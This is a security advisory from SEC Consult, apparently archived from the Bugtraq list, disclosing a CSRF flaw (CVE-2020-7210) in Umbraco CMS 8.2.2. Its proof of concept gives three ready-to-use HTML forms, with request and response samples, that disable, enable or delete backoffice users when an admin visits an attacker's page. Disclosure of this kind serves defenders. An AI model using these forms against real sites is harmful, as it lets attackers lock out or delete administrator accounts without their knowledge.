



Site Search



[Bugtrac](#) mailing list archives



[By Date](#) [By Thread](#)

List Archive Search



## SEC Consult SA-20200123-0 :: Cross-Site Request Forgery (CSRF) in Umbraco CMS

From: SEC Consult Vulnerability Lab <research () sec-consult.com>

Date: Thu, 23 Jan 2020 15:33:42 +0100

SEC Consult Vulnerability Lab Security Advisory < 20200123-0 >

```
=====
title: Cross-Site Request Forgery (CSRF)
product: Umbraco CMS
vulnerable version: version 8.2.2
fixed version: version 8.5
CVE number: CVE-2020-7210
impact: medium
homepage: https://umbraco.com/
found: October 2019
by: A. Melnikova (Office Moscow)
SEC Consult Vulnerability Lab

An integrated part of SEC Consult
Europe | Asia | North America

https://www.sec-consult.com
=====
```

### Vendor description:

"Umbraco 8 is the latest version of Umbraco CMS. It's the fastest and best version of Umbraco and a big step forward in regard to making your work with Umbraco simpler; simpler to extend, simpler to edit, simpler to publish - simpler to use, simpler to enjoy."

Source: <https://umbraco.com/products/umbraco-cms/umbraco-8/>

### Business recommendation:

The vendor provides a patch and users of this product are urged to immediately upgrade to the latest version available.

SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues.

### Vulnerability overview/description:

1) Cross-Site Request Forgery (CSRF)  
An attacker can use cross-site request forgery to perform arbitrary web requests with the identity of the victim, without being noticed by the victim. This attack always requires some sort of user interaction, usually the victim needs to click on an attacker-prepared link or visit a page under control of the attacker. Due to this, an attacker is able to enable/disable or delete accounts. This may lead to DoS of user accounts.

### Proof of concept:

1) Cross-Site Request Forgery (CSRF)  
In a live attack scenario, the following HTML document would be hosted on a malicious website, controlled by the attacker.

Example 1: HTML-code for disabling user:

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userId=<USER-ID>"
method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

### Request:

```
POST /umbraco/backoffice/UmbracoApi/Users/PostDisableUsers?userId=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
```

### Response:

```
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 112
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:57:45 GMT
Connection: close

}}}',
{"notifications":[{"header":"<USERNAME> is now disabled","message":"","type":3},"message":"<USERNAME> is now disabled"]}
```

Example 2: HTML-code for enabling user:

```
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userId=<USER-ID>"
method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

### Request:

```
POST /umbraco/backoffice/UmbracoApi/Users/PostEnableUsers?userId=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
```

### Response:

```
-----
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 110
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Date: Wed, 06 Nov 2019 10:58:12 GMT
Connection: close

]]}',
{"notifications":[{"header":"<USERNAME> is now enabled","message":"","type":3}], "message":"<USERNAME> is now enabled"}
```

```
Example 3: HTML-code for deleting user:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://<host-URL>/umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID>"
method="POST">
<input type="submit" value="Submit request" />
</form>
</body>
</html>
```

```
Request:
-----
POST /umbraco/backoffice/UmbracoApi/Users/PostDeleteNonLoggedInUser?id=<USER-ID> HTTP/1.1
Host: <host-URL>
[...]
Cookie: <ADMIN-COOKIE>
```

```
Response:
-----
HTTP/1.1 200 OK
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Pragma: no-cache
Content-Length: 114
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 1990 00:00:00 GMT
Set-Cookie: <ADMIN-COOKIE>
Date: Wed, 06 Nov 2019 10:58:36 GMT
Connection: close

]]}',
{"notifications":[{"header":"User <USERNAME> was deleted","message":"","type":3}], "message":"User <USERNAME> was
deleted")
```

As soon as an authenticated victim (admin) visits a website with this HTML code embedded, the payload would get executed in the context of the victim's session. Although responses to these requests are not delivered to the attacker, in many cases it is sufficient to be able to compromise the integrity of the victim's information stored on the site or to perform certain, possibly compromising requests to other sites.

Vulnerable / tested versions:  
-----  
The following version was tested and found to be vulnerable:  
\* version 8.2.2

Vendor contact timeline:  
-----  
2019-11-13: Contacting vendor through security () umbraco.com.  
2019-11-13: Requesting encryption keys.  
2019-11-14: Encryption issues.  
2019-11-15: Encryption issues, sending advisory in unencrypted form.  
2019-11-25: No response, requesting status update.  
2019-11-28: Vendor confirmed vulnerability.  
2020-01-03: Confirming the release date.  
2020-01-14: Release of updated CMS version 8.5.0.  
2020-01-23: Release of security advisory.

Solution:  
-----  
The vendor provides an updated version which should be installed immediately:  
<https://our.umbraco.com/download/releases/850>

Workaround:  
-----  
No workaround available.

Advisory URL:  
-----  
<https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html>

-----  
SEC Consult Vulnerability Lab

SEC Consult  
Europe | Asia | North America

About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies.

-----  
Interested to work with the experts of SEC Consult?  
Send us your application <https://www.sec-consult.com/en/career/index.html>

Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices <https://www.sec-consult.com/en/contact/index.html>

-----  
Mail: research at sec-consult dot com  
Web: <https://www.sec-consult.com>  
Blog: <https://blog.sec-consult.com>  
Twitter: [https://twitter.com/sec\\_consult](https://twitter.com/sec_consult)

EOF A. Melnikova / @2020

**Attachment:** [smime.p7s](#)  
*Description:* S/MIME Cryptographic Signature

---

[By Date](#) [By Thread](#)

**Current thread:**

Site Search

Nmap Security Scanner

Ref Guide

Install Guide

Docs

Download

Nmap OEM

Npcap packet capture

User's Guide

API docs

Download

Npcap OEM

Security Lists

Nmap Announce

Nmap Dev

Full Disclosure

Open Source Security

BreachExchange

Security Tools

Vuln scanners

Password audit

Web scanners

Wireless

Exploitation

About

About/Contact

Privacy

Advertising

Nmap Public Source License







